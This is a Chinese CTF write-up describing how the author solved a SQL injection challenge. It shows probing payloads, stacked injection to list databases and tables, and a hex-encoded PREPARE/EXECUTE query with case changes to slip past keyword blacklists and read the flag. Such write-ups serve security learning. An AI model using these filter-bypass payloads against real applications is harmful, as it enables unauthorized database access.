1. 整体流程

  1. 常规步骤查到黑名单
  2. 堆叠注入
  3. prepare预处理语句查询flag

2. 题目分析

  1. 常规sql查询如下:
1'
1' or 1=1#
1' order by 1#
1' union select 1,2# 

在使用1' union select 1,2#查询时发现返回结果为:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
发现过滤了大多数字符

  1. 此时想到使用堆叠注入
1';show databases;#
1';show tables;#
1';show columns from `1919810931114514`;#

1919810931114514表看到了flag字段

  1. 然后使用预处理语句
    Alt text
set @a='select * from `1919810931114514`';
prepare stmt1 from @a;
execute stmt1;

由于select被过滤,所以考虑使用16进制绕过,即
set @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;
发现返回结果为:
strstr($inject, "set") && strstr($inject, "prepare")
set跟prepare被strstr函数过滤了。可以使用大小写绕过
最终payload:
SET @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;PREPARE stmt1 from @a;execute stmt1;

Last modification:December 25th, 2019 at 03:20 pm
给肥宅一点零花钱买可乐叭 (゜-゜)つロ